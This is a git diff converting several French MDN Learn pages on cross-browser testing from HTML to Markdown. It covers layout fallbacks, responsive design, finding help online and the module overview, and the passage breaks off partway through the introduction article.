10 et les vieilles versions d'iOS/desktop Safari supportent respectivement des vieilles versions incompatibles des spécifications de flexbox. Ceci amène à s'intéresser au jonglage des préfixes de navigateur si vous voulez essayer d'utiliser flexbox sur tous ces navigateurs (voir [Advanced Cross-Browser Flexbox](https://dev.opera.com/articles/advanced-cross-browser-flexbox/) pour vous faire une idée). -<div class="note"> -<p><strong>Note :</strong> Il y a une fonctionnalité assez récente en CSS appelé <code><a href="/fr/docs/Web/CSS/@supports">@supports</a></code>, qui vous permet d'implémenter des tests de détection de fonctionnalités natives.</p> -</div> +Les fonctionnalités de disposition ne sont pas aussi simples pour fournir des solutions de repli que de simples couleurs, ombres ou dégradés. Si les propriétés de disposition sont ignorées, la totalité de votre design sera réduit en pièces. De ce fait, vous devez utiliser une fonctionnalité de détection pour détecter si les navigateurs qui consultent votre site supportent ces caractéristiques de disposition, et appliquer différentes dispositions de manière sélective selon le résultat (nous couvrirons les fonctionnalités de détection dans un article à venir). -<h4 id="Les_problèmes_de_responsive_design">Les problèmes de responsive design</h4> +Par exemple, vous pourriez appliquer une disposition flexbox sur les navigateurs modernes, et aussi appliquer une disposition en float pour les plus vieux navigateurs qui ne supportent pas flexbox. -<p>Le design responsive est la pratique de créer des dispositions web qui s'adaptent en fonction des facteurs de formes de l'appareil — par exemple différentes tailles d'écran, l'orientation (portait ou paysage), ou la résolution. Une disposition pour ordinateur de bureau par exemple paraîtra atroce lorsqu'elle sera affichée sur un appareil mobile, vous allez donc devoir fournir une disposition appropriée aux mobiles en utilisant les <a href="/fr/docs/Web/CSS/Media_Queries">media queries</a>, et assurez-vous qu'il est appliqué correctement en utilisant <a href="/fr/docs/Mozilla/Mobile/Viewport_meta_tag">viewport</a>. Vous pouvez trouver un bilan précis de telles pratiques dans <a href="/fr/docs/Web/Apps/Progressive/Responsive/responsive_design_building_blocks">The building blocks of responsive design</a>.</p> +> **Note :** Il y a une fonctionnalité assez récente en CSS appelé [`@supports`](/fr/docs/Web/CSS/@supports), qui vous permet d'implémenter des tests de détection de fonctionnalités natives. -<p>La résolution est également très préoccupante — par exemple, les appareils mobiles sont moins susceptibles d'avoir besoin de grosses images lourdes que des ordinateurs de bureau, et ont davantage tendance à avoir des connexions internet plus lentes et sans doute un échange de données coûteux qui gaspille la bande passante qui est un problème supplémentaire. De plus, certains appareils peuvent avoir une gamme de plusieurs résolutions, ce qui veut dire que des petites images peuvent s'afficher pixelisées. Il y a un nombre de techniques qui vous permette de travailler autour de tels problèmes, des simples <a href="/fr/Apps/Progressive/Responsive/Mobile_first">mobile first media queries</a>, aux plus complexes <a href="/fr/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images#Resolution_switching_Different_sizes">responsive image techniques</a>.</p> +#### Les problèmes de responsive design -<p>Une autre difficulté qui peut présenter des problèmes c'est le support des fonctionnalités par les navigateurs qui rendent les techniques suscitées possibles. Les media queries ne sont pas supportés sur IE 8 ou plus vieux, donc si vous voulez utiliser une disposition mobile en premier lieu puis une disposition pour ordinateur de bureau qui applique aux vieilles versions d'IE, vous devrez appliquer un media querie {{glossary("polyfill")}} à votre page, comme <a href="https://code.google.com/archive/p/css3-mediaqueries-js/">css3-mediaqueries-js</a> ou <a href="https://github.com/scottjehl/Respond">Respond.js</a>.</p> +Le design responsive est la pratique de créer des dispositions web qui s'adaptent en fonction des facteurs de formes de l'appareil — par exemple différentes tailles d'écran, l'orientation (portait ou paysage), ou la résolution. Une disposition pour ordinateur de bureau par exemple paraîtra atroce lorsqu'elle sera affichée sur un appareil mobile, vous allez donc devoir fournir une disposition appropriée aux mobiles en utilisant les [media queries](/fr/docs/Web/CSS/Media_Queries), et assurez-vous qu'il est appliqué correctement en utilisant [viewport](/fr/docs/Mozilla/Mobile/Viewport_meta_tag). Vous pouvez trouver un bilan précis de telles pratiques dans [The building blocks of responsive design](/fr/docs/Web/Apps/Progressive/Responsive/responsive_design_building_blocks). -<h2 id="Trouver_de_laide">Trouver de l'aide</h2> +La résolution est également très préoccupante — par exemple, les appareils mobiles sont moins susceptibles d'avoir besoin de grosses images lourdes que des ordinateurs de bureau, et ont davantage tendance à avoir des connexions internet plus lentes et sans doute un échange de données coûteux qui gaspille la bande passante qui est un problème supplémentaire. De plus, certains appareils peuvent avoir une gamme de plusieurs résolutions, ce qui veut dire que des petites images peuvent s'afficher pixelisées. Il y a un nombre de techniques qui vous permette de travailler autour de tels problèmes, des simples [mobile first media queries](/fr/Apps/Progressive/Responsive/Mobile_first), aux plus complexes [responsive image techniques](/fr/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images#Resolution_switching_Different_sizes). -<p>Il y bien d'autres problèmes que vous allez rencontrer avec le HTML et le CSS ; la chose la plus important à vraiment savoir est de comment trouver des solutions en ligne.</p> +Une autre difficulté qui peut présenter des problèmes c'est le support des fonctionnalités par les navigateurs qui rendent les techniques suscitées possibles. Les media queries ne sont pas supportés sur IE 8 ou plus vieux, donc si vous voulez utiliser une disposition mobile en premier lieu puis une disposition pour ordinateur de bureau qui applique aux vieilles versions d'IE, vous devrez appliquer un media querie {{glossary("polyfill")}} à votre page, comme [css3-mediaqueries-js](https://code.google.com/archive/p/css3-mediaqueries-js/) ou [Respond.js](https://github.com/scottjehl/Respond). -<p>Parmi les meilleures sources d'information de support il y a Mozilla Developer Network (c'est où vous vous trouvez actuellement !), <a href="http://stackoverflow.com/">stackoverflow.com</a> et <a href="http://caniuse.com/">caniuse.com</a>.</p> +## Trouver de l'aide -<p>Pour utiliser le Mozilla Developer Network (MDN), la plupart des gens font une recherche de la technologie sur laquelle ils essayent de trouver des informations, et ajoutent le terme "mdn", par exemple "mdn HTML5 video". MDN contient plusieurs types de contenus utiles :</p> +Il y bien d'autres problèmes que vous allez rencontrer avec le HTML et le CSS ; la chose la plus important à vraiment savoir est de comment trouver des solutions en ligne. -<ul> - <li>Du contenu de référence sur le support navigateur pour les technologies web côté client, par ex. la <a href="/fr/docs/Web/HTML/Element/video">page de référence <video></a>.</li> - <li>D'autres références de support, par ex. <a href="/fr/docs/Web/HTML/Supported_media_formats">Media formats supported by the HTML audio and video elements</a>.</li> - <li>Des tutoriaux utiles qui résolvent des problèmes spécifiques, par exemple <a href="/fr/docs/Web/Apps/Fundamentals/Audio_and_video_delivery/cross_browser_video_player">Créer un lecteur vidéo en navigateur croisé</a>.</li> -</ul> +Parmi les meilleures sources d'information de support il y a Mozilla Developer Network (c'est où vous vous trouvez actuellement !), [stackoverflow.com](http://stackoverflow.com/) et [caniuse.com](http://caniuse.com/). -<p><a href="http://caniuse.com/">caniuse.com</a> fournit des informations de support, tout au long avec des ressources externes. Par exemple, voir <a href="http://caniuse.com/#search=video">http://caniuse.com/#search=video</a> (vous avez juste à entrer la fonctionnalité que vous recherchez dans la boîte de recherche)</p> +Pour utiliser le Mozilla Developer Network (MDN), la plupart des gens font une recherche de la technologie sur laquelle ils essayent de trouver des informations, et ajoutent le terme "mdn", par exemple "mdn HTML5 video". MDN contient plusieurs types de contenus utiles : -<p><a href="http://stackoverflow.com/">stackoverflow.com</a> (SO) est un forum en ligne où vous pouvez poser des questions et avez un ensemble de développeurs partageant leurs solutions, observez les commentaires passés, et aidez les autres développeurs. Nous vous conseillons de chercher et de regarder s'il existe déjà une réponse à votre question, avant de poster une nouvelle question. Par exemple, nous avons cherché pour "cross browser html5 video" sur SO, et très rapidement la solution <a href="http://stackoverflow.com/questions/16212510/html5-video-with-full-cross-browser-compatibility">HTML5 Video with full cross browser compatibility</a> est remontée.</p> +- Du contenu de référence sur le support navigateur pour les technologies web côté client, par ex. la [page de référence \<video>](/fr/docs/Web/HTML/Element/video). +- D'autres références de support, par ex. [Media formats supported by the HTML audio and video elements](/fr/docs/Web/HTML/Supported_media_formats). +- Des tutoriaux utiles qui résolvent des problèmes spécifiques, par exemple [Créer un lecteur vidéo en navigateur croisé](/fr/docs/Web/Apps/Fundamentals/Audio_and_video_delivery/cross_browser_video_player). -<p>Par ailleurs, essayez de chercher votre moteur de recherche favori pour trouver une réponse à vos problèmes. C'est souvent utile de chercher les messages d'erreur spécifiques si vous en avez — d'autres développeurs seront susceptibles d'avoir les mêmes problèmes que vous</p> +[caniuse.com](http://caniuse.com/) fournit des informations de support, tout au long avec des ressources externes. Par exemple, voir <http://caniuse.com/#search=video> (vous avez juste à entrer la fonctionnalité que vous recherchez dans la boîte de recherche) -<h2 id="Résumé">Résumé</h2> +[stackoverflow.com](http://stackoverflow.com/) (SO) est un forum en ligne où vous pouvez poser des questions et avez un ensemble de développeurs partageant leurs solutions, observez les commentaires passés, et aidez les autres développeurs. Nous vous conseillons de chercher et de regarder s'il existe déjà une réponse à votre question, avant de poster une nouvelle question. Par exemple, nous avons cherché pour "cross browser html5 video" sur SO, et très rapidement la solution [HTML5 Video with full cross browser compatibility](http://stackoverflow.com/questions/16212510/html5-video-with-full-cross-browser-compatibility) est remontée. -<p>Vous devriez maintenant être familier avec les problèmes principaux en navigateur croisé avec HTML et CSS que vous rencontrerez en développement web, et comment faire pour les résoudre.</p> +Par ailleurs, essayez de chercher votre moteur de recherche favori pour trouver une réponse à vos problèmes. C'est souvent utile de chercher les messages d'erreur spécifiques si vous en avez — d'autres développeurs seront susceptibles d'avoir les mêmes problèmes que vous -<p>{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies","Learn/Tools_and_testing/Cross_browser_testing/JavaScript", "Learn/Tools_and_testing/Cross_browser_testing")}}</p> +## Résumé +Vous devriez maintenant être familier avec les problèmes principaux en navigateur croisé avec HTML et CSS que vous rencontrerez en développement web, et comment faire pour les résoudre. +{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies","Learn/Tools_and_testing/Cross_browser_testing/JavaScript", "Learn/Tools_and_testing/Cross_browser_testing")}} -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction">Introduction to cross browser testing</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies">Strategies for carrying out testing</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS">Handling common HTML and CSS problems</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript">Handling common JavaScript problems</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility">Handling common accessibility problems</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection">Implementing feature detection</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Automated_testing">Introduction to automated testing</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment">Setting up your own test automation environment</a></li> -</ul> +- [Introduction to cross browser testing](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction) +- [Strategies for carrying out testing](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies) +- [Handling common HTML and CSS problems](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS) +- [Handling common JavaScript problems](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript) +- [Handling common accessibility problems](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility) +- [Implementing feature detection](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection) +- [Introduction to automated testing](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Automated_testing) +- [Setting up your own test automation environment](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment) diff --git a/files/fr/learn/tools_and_testing/cross_browser_testing/index.md b/files/fr/learn/tools_and_testing/cross_browser_testing/index.md index 4aa0ab6aaa..85fe4042f1 100644 --- a/files/fr/learn/tools_and_testing/cross_browser_testing/index.md +++ b/files/fr/learn/tools_and_testing/cross_browser_testing/index.md @@ -18,31 +18,29 @@ tags: - cross browser translation_of: Learn/Tools_and_testing/Cross_browser_testing --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}} -<p>Ce module se concentre sur le test de projets Web sur différents navigateurs. Nous cherchons à identifier votre public cible (par exemple, de quels utilisateurs, navigateurs et appareils avez-vous le plus besoin de vous soucier?), comment procéder aux tests, les principaux problèmes auxquels vous serez confronté avec différents types de code et comment les atténuer, quels outils sont les plus utiles pour vour aider à tester et résoudre les problèmes, et comment utiliser l'automatisation pour accélérer les tests.</p> +Ce module se concentre sur le test de projets Web sur différents navigateurs. Nous cherchons à identifier votre public cible (par exemple, de quels utilisateurs, navigateurs et appareils avez-vous le plus besoin de vous soucier?), comment procéder aux tests, les principaux problèmes auxquels vous serez confronté avec différents types de code et comment les atténuer, quels outils sont les plus utiles pour vour aider à tester et résoudre les problèmes, et comment utiliser l'automatisation pour accélérer les tests. -<h2 id="Prérequis">Prérequis</h2> +## Prérequis -<p>Vous devez vraiment apprendre les bases des langages <a href="/fr/docs/Learn/HTML">HTML</a>, <a href="/fr/docs/Learn/CSS">CSS</a>, et <a href="/fr/docs/Learn/JavaScript">JavaScript</a> de base avant d'essayer d'utiliser les outils détaillés ici.</p> +Vous devez vraiment apprendre les bases des langages [HTML](/fr/docs/Learn/HTML), [CSS](/fr/docs/Learn/CSS), et [JavaScript](/fr/docs/Learn/JavaScript) de base avant d'essayer d'utiliser les outils détaillés ici. -<h2 id="Guides">Guides</h2> +## Guides -<dl> - <dt><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction">Introduction aux tests multi-navigateurs</a></dt> - <dd>Cet article débute le module en donnant un aperçu du sujet des tests multi-navigateurs, en répondant à des questions telles que "qu'est-ce que les tests multi-navigateurs?", "quels sont les types de problèmes les plus courants que vous rencontrerez?", et "quelles sont les principales approches pour tester, identifier et résoudre les problèmes?"</dd> - <dt><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies">Stratégies de réalisation des tests</a></dt> - <dd>Ensuite, nous explorons la réalisation de tests, en cherchant à identifier un public cible (par exemple, quels navigateurs, appareils et autres segments devez-vous vous assurer qu'ils soient testés), des stratégies de test low fi (procurez-vous une gamme d'appareils et de machines virtuelles et faire des tests adhoc si nécessaire), des stratégies de haute technologie (automatisation, utilisation d'applications de test dédiées), et des tests avec des groupes d'utilisateurs.</dd> - <dt><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS">Gérer les problèmes HTML et CSS courants</a></dt> - <dd>Nous allons maintenant examiner spécifiquement les problèmes courants entre navigateurs que vous rencontrerez dans le code HTML et CSS, et quels outils peuvent être utilisés pour éviter les problèmes ou résoudre les problèmes qui se produisent. Cela inclut le linting code, la gestion des préfixes CSS, l'utilisation d'outils de développement de navigateur pour localiser les problèmes, utiliser des polyfills pour ajouter un support dans les navigateurs, résoudre les problèmes de design responsive, etc.</dd> - <dt><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript">Gestion des problèmes JavaScript courants</a></dt> - <dd>Nous allons maintenant examiner les problèmes JavaScript courants entre navigateurs et comment les résoudre. Cela inclu des informations sur l'utilisation des outils de développement de navigateur pour localiser et résoudre les problèmes, l'utilisation de polyfills et de librairies pour contourner les problèmes, la mise en œuvre des fonctionnalités JavaScript modernes dans les navigateurs plus anciens, etc.</dd> - <dt><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility">Gérer les problèmes d'accessibilité courants</a></dt> - <dd>Ensuite, nous tournons notre attention vers l'accessibilité, en fournissant des informations sur les problèmes courants, comment faire des tests simples, et comment utiliser les outils d'audit / d'automatisation pour trouver les problèmes d'accessibilité.</dd> - <dt><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection">Implémentation de la détection des fonctionnalités</a></dt> - <dd>La détection de fonctionnalités implique de déterminer si un navigateur prend en charge un certain bloc de code et d'exécuter un code différent selon qu'il le fait (ou non), afin que le navigateur puisse toujours fournir une expérience de travail plutôt en panne / erreur dans certains navigateurs. Cet article explique comment écrire votre propre détection de fonctionnalités simple, comment utiliser une librairie pour accélérer la mise en œuvre et des fonctionnalités natives pour la détection de fonctionnalités telles que <code>@supports</code>.</dd> - <dt><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Automated_testing">Introduction aux tests automatisés</a></dt> - <dd>Exécuter manuellement des tests sur plusieurs navigateurs et appareils, plusieurs fois par jour, peut devenir fastidieux et prendre du temps. Pour gérer cela efficacement, vous devez vous familiariser avec les outils d'automatisation. Dans cet article, nous examinons ce qui est disponible, comment utiliser les exécuteurs de tâches et les bases de l'utilisation des applications d'automatisation de test de navigateur commerciales telles que Sauce Labs et Browser Stack.</dd> - <dt><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment">Configuration de votre propre environnement d'automatisation de test</a></dt> - <dd>Dans cet article, nous allons vous apprendre à installer votre propre environnement d'automatisation et à exécuter vos propres tests à l'aide de Selenium/WebDriver et d'une librairie de test telle que selenium-webdriver pour Node. Nous verrons également comment intégrer votre environnement de test local avec des applications commerciales telles que celles décrites dans l'article précédent.</dd> -</dl> +- [Introduction aux tests multi-navigateurs](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction) + - : Cet article débute le module en donnant un aperçu du sujet des tests multi-navigateurs, en répondant à des questions telles que "qu'est-ce que les tests multi-navigateurs?", "quels sont les types de problèmes les plus courants que vous rencontrerez?", et "quelles sont les principales approches pour tester, identifier et résoudre les problèmes?" +- [Stratégies de réalisation des tests](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies) + - : Ensuite, nous explorons la réalisation de tests, en cherchant à identifier un public cible (par exemple, quels navigateurs, appareils et autres segments devez-vous vous assurer qu'ils soient testés), des stratégies de test low fi (procurez-vous une gamme d'appareils et de machines virtuelles et faire des tests adhoc si nécessaire), des stratégies de haute technologie (automatisation, utilisation d'applications de test dédiées), et des tests avec des groupes d'utilisateurs. +- [Gérer les problèmes HTML et CSS courants](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS) + - : Nous allons maintenant examiner spécifiquement les problèmes courants entre navigateurs que vous rencontrerez dans le code HTML et CSS, et quels outils peuvent être utilisés pour éviter les problèmes ou résoudre les problèmes qui se produisent. Cela inclut le linting code, la gestion des préfixes CSS, l'utilisation d'outils de développement de navigateur pour localiser les problèmes, utiliser des polyfills pour ajouter un support dans les navigateurs, résoudre les problèmes de design responsive, etc. +- [Gestion des problèmes JavaScript courants](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript) + - : Nous allons maintenant examiner les problèmes JavaScript courants entre navigateurs et comment les résoudre. Cela inclu des informations sur l'utilisation des outils de développement de navigateur pour localiser et résoudre les problèmes, l'utilisation de polyfills et de librairies pour contourner les problèmes, la mise en œuvre des fonctionnalités JavaScript modernes dans les navigateurs plus anciens, etc. +- [Gérer les problèmes d'accessibilité courants](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility) + - : Ensuite, nous tournons notre attention vers l'accessibilité, en fournissant des informations sur les problèmes courants, comment faire des tests simples, et comment utiliser les outils d'audit / d'automatisation pour trouver les problèmes d'accessibilité. +- [Implémentation de la détection des fonctionnalités](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection) + - : La détection de fonctionnalités implique de déterminer si un navigateur prend en charge un certain bloc de code et d'exécuter un code différent selon qu'il le fait (ou non), afin que le navigateur puisse toujours fournir une expérience de travail plutôt en panne / erreur dans certains navigateurs. Cet article explique comment écrire votre propre détection de fonctionnalités simple, comment utiliser une librairie pour accélérer la mise en œuvre et des fonctionnalités natives pour la détection de fonctionnalités telles que `@supports`. +- [Introduction aux tests automatisés](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Automated_testing) + - : Exécuter manuellement des tests sur plusieurs navigateurs et appareils, plusieurs fois par jour, peut devenir fastidieux et prendre du temps. Pour gérer cela efficacement, vous devez vous familiariser avec les outils d'automatisation. Dans cet article, nous examinons ce qui est disponible, comment utiliser les exécuteurs de tâches et les bases de l'utilisation des applications d'automatisation de test de navigateur commerciales telles que Sauce Labs et Browser Stack. +- [Configuration de votre propre environnement d'automatisation de test](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment) + - : Dans cet article, nous allons vous apprendre à installer votre propre environnement d'automatisation et à exécuter vos propres tests à l'aide de Selenium/WebDriver et d'une librairie de test telle que selenium-webdriver pour Node. Nous verrons également comment intégrer votre environnement de test local avec des applications commerciales telles que celles décrites dans l'article précédent. diff --git a/files/fr/learn/tools_and_testing/cross_browser_testing/introduction/index.md b/files/fr/learn/tools_and_testing/cross_browser_testing/introduction/index.md index bfd78a3d43..5ab07a6d4a 100644 --- a/files/fr/learn/tools_and_testing/cross_browser_testing/introduction/index.md +++ b/files/fr/learn/tools_and_testing/cross_browser_testing/introduction/index.md @@ -9,199 +9,181 @@ tags: - test translation_of: Learn/Tools_and_testing/Cross_browser_testing/Introduction --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{NextMenu("Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies", "Learn/Tools_and_testing/Cross_browser_testing")}} -<div>{{NextMenu("Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies", "Learn/Tools_and_testing/Cross_browser_testing")}}</div> - -<p>Cet article commence en donnant un aperçu sur le sujet des test sur navigateurs (croisé), répondant aux questions telles que "qu'est-ce que le test en navigateur croisé?", "Quels sont les problèmes les plus communs que vous allez rencontrer?", et "quelles sont les principales approches pour tester, identifier, et fixer les problèmes?"</p> +Cet article commence en donnant un aperçu sur le sujet des test sur navigateurs (croisé), répondant aux questions telles que "qu'est-ce que le test en navigateur croisé?", "Quels sont les problèmes les plus communs que vous allez rencontrer?", et "quelles sont les principales approches pour tester, identifier, et fixer les problèmes?" <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis:</th> - <td>Etre familier avec les bases des langage <a href="/fr/docs/Learn/HTML">HTML</a>, <a href="/fr/docs/Learn/CSS">CSS</a>, et <a href="/fr/docs/Learn/JavaScript">JavaScript</a>.</td> - </tr> - <tr> - <th scope="row">Objectif:</th> - <td>Acquérir et comprendre des concepts de haut niveau impliqués dans les tests sur multi-navigateur</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis:</th> + <td> + Etre familier avec les bases des langage + <a href="/fr/docs/Learn/HTML">HTML</a>, + <a href="/fr/docs/Learn/CSS">CSS</a>, et + <a href="/fr/docs/Learn/JavaScript">JavaScript</a>. + </td> + </tr> + <tr> + <th scope="row">Objectif:</th> + <td> + Acquérir et comprendre des concepts de haut niveau impliqués dans les + tests sur multi-navigateur + </td> + </tr> + </tbody> </table> -<h2 id="Qu'est-ce_que_le_test_en_navigateur_croisé">Qu'est-ce que le test en navigateur croisé?</h2> +## Qu'est-ce que le test en navigateur croisé? -<p>Le test de navigateur croisé est une façon de s'assurer que les sites web et les applications que vous créez vont fonctionner sur un nombre acceptable de navigateurs web. En tant que développeur web, il en va de votre responsabilité de vous assurez que non seulement vos projets fonctionnent, mais qu'ils fonctionnent pour tout vos utilisateurs, qu'importe le nombre de navigateurs, d'appareil, ou d'outils d'assistances supplémentaires qu'ils utilisent. Vous devez penser à :</p> +Le test de navigateur croisé est une façon de s'assurer que les sites web et les applications que vous créez vont fonctionner sur un nombre acceptable de navigateurs web. En tant que développeur web, il en va de votre responsabilité de vous assurez que non seulement vos projets fonctionnent, mais qu'ils fonctionnent pour tout vos utilisateurs, qu'importe le nombre de navigateurs, d'appareil, ou d'outils d'assistances supplémentaires qu'ils utilisent. Vous devez penser à : -<ul> - <li>D'autres navigateurs que celui ou ceux que vous utilisez habituellement sur vos appareils, incluant les navigateurs vieillissant que certaines personnes peuvent continuer d'utiliser, qui ne supportent pas les toutes dernières fonctionnalités fignolées de CSS et JavaScript.</li> - <li>Différents appareils avec différentes compatibilités, du tout dernier super smartphone ou tablette, en passant par les TV intelligentes, jusqu'à la tablette la moins chère et même les anciennes versions de smartphones qui ne peuvent exécuter les navigateurs qu'avec des capacités limitées.</li> - <li>Certaines personnes handicapées qui naviguent sur le web avec l'aide de technologies d'assistances comme les lecteurs d'écran, ou qui n'utilisent pas de souris (certaines personnes se servent exclusivement de leur clavier).</li> -</ul> +- D'autres navigateurs que celui ou ceux que vous utilisez habituellement sur vos appareils, incluant les navigateurs vieillissant que certaines personnes peuvent continuer d'utiliser, qui ne supportent pas les toutes dernières fonctionnalités fignolées de CSS et JavaScript. +- Différents appareils avec différentes compatibilités, du tout dernier super smartphone ou tablette, en passant par les TV intelligentes, jusqu'à la tablette la moins chère et même les anciennes versions de smartphones qui ne peuvent exécuter les navigateurs qu'avec des capacités limitées. +- Certaines personnes handicapées qui naviguent sur le web avec l'aide de technologies d'assistances comme les lecteurs d'écran, ou qui n'utilisent pas de souris (certaines personnes se servent exclusivement de leur clavier). -<p>Souvenez-vous que vous n'êtes pas votre utilisateur — uniquement parce que votre site fonctionne sur votre Macbook Pro ou votre Galaxy Nexus haut de gamme, cela ne veut pas dire qu'il fonctionnera pour tout vos utilisateurs — Il y a encore un paquet de tests à effectuer !</p> +Souvenez-vous que vous n'êtes pas votre utilisateur — uniquement parce que votre site fonctionne sur votre Macbook Pro ou votre Galaxy Nexus haut de gamme, cela ne veut pas dire qu'il fonctionnera pour tout vos utilisateurs — Il y a encore un paquet de tests à effectuer ! -<div class="note"> -<p><strong>Note :</strong> <a href="https://hacks.mozilla.org/2016/07/make-the-web-work-for-everyone/">Make the web work for everyone</a> fournit une perspective plus précise sur les différents navigateurs que les gens utilisent, leur part de marché, et les problèmes de compatibilité entre navigateurs.</p> -</div> +> **Note :** [Make the web work for everyone](https://hacks.mozilla.org/2016/07/make-the-web-work-for-everyone/) fournit une perspective plus précise sur les différents navigateurs que les gens utilisent, leur part de marché, et les problèmes de compatibilité entre navigateurs. -<p>Il est important de préciser quelque termes de terminologie. Pour commencer, quand on parle de "travailler en navigateurs croisés", on veut vraiment dire que chaque navigateur doit être capable de fournir une expérience utilisateur acceptable. C'est potentiellement bon pour un site de ne pas fournir exactement la même expérience sur tous les navigateurs, tant que le noyau des fonctionnalités reste accessible. Avec des navigateurs modernes vous pourrez ajouter quelques animations 3D et stylisées, tandis que sur de plus vieux navigateurs vous pouvez juste utiliser un design plus plat représentant la même information. Tant que le propriétaire du site est content, alors vous avez terminé votre travail.</p> +Il est important de préciser quelque termes de terminologie. Pour commencer, quand on parle de "travailler en navigateurs croisés", on veut vraiment dire que chaque navigateur doit être capable de fournir une expérience utilisateur acceptable. C'est potentiellement bon pour un site de ne pas fournir exactement la même expérience sur tous les navigateurs, tant que le noyau des fonctionnalités reste accessible. Avec des navigateurs modernes vous pourrez ajouter quelques animations 3D et stylisées, tandis que sur de plus vieux navigateurs vous pouvez juste utiliser un design plus plat représentant la même information. Tant que le propriétaire du site est content, alors vous avez terminé votre travail. -<p>D'un autre côté, ce n'est pas ok qu'un site soit fonctionnel pour les personnes voyantes mais complètement inaccessible pour des utilisateurs qui ont des problèmes de vision parce que leur application de lecture d'écran ne peut lire aucune des données stockées sur le site.</p> +D'un autre côté, ce n'est pas ok qu'un site soit fonctionnel pour les personnes voyantes mais complètement inaccessible pour des utilisateurs qui ont des problèmes de vision parce que leur application de lecture d'écran ne peut lire aucune des données stockées sur le site. -<p>De plus, lorsqu'on dit "à travers un nombre acceptable de navigateurs", on ne veut pas dire 100% des navigateurs dans le monde — c'est tout simplement impossible. Vous pouvez faire des recherches d'informations (analyse sectorielle) pour savoir quels sont les types de supports et de navigateurs que vos utilisateurs vont utiliser (comme on peut en parler dans le second article — voir <a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies#Gotta_test_%27em_all">Gotta test 'em all?</a>), mais vous ne pouvez pas tout garantir. En tant que developpeur web, vous devez convenir avec le demandeur du site d'une liste de navigateurs et d'appareils sur lesquels le code doit absolument fonctionner, au-delà de ces prérequis, vous devez vous assurer de donner un maximum de chances aux autres navigateurs de pouvoir afficher votre contenu grâce à du code préventif. Cette étape représente le défi le plus important d'un développeur web.</p> +De plus, lorsqu'on dit "à travers un nombre acceptable de navigateurs", on ne veut pas dire 100% des navigateurs dans le monde — c'est tout simplement impossible. Vous pouvez faire des recherches d'informations (analyse sectorielle) pour savoir quels sont les types de supports et de navigateurs que vos utilisateurs vont utiliser (comme on peut en parler dans le second article — voir [Gotta test 'em all?](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies#Gotta_test_%27em_all)), mais vous ne pouvez pas tout garantir. En tant que developpeur web, vous devez convenir avec le demandeur du site d'une liste de navigateurs et d'appareils sur lesquels le code doit absolument fonctionner, au-delà de ces prérequis, vous devez vous assurer de donner un maximum de chances aux autres navigateurs de pouvoir afficher votre contenu grâce à du code préventif. Cette étape représente le défi le plus important d'un développeur web. -<div class="note"> -<p><strong>Note :</strong> Nous traiterons également du code préventif dans ce module.</p> -</div> +> **Note :** Nous traiterons également du code préventif dans ce module. -<h2 id="Pourquoi_y'a-t-il_des_problèmes_en_navigateur_croisé">Pourquoi y'a-t-il des problèmes en navigateur croisé?</h2> +## Pourquoi y'a-t-il des problèmes en navigateur croisé? -<p>Il y a beaucoup de raisons différentes qui amènent des problèmes en navigateur croisé, et notez qu'ici nous parlons des bug qui se comportent différemment selon les navigateurs / supports / préférences de navigateurs. Avant même d'attaquer les problèmes en navigateurs croisés, commencez déjà par fixer encore et encore tous les bugs présents dans votre propre code (voir <a href="/fr/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">Debugging HTML</a>, <a 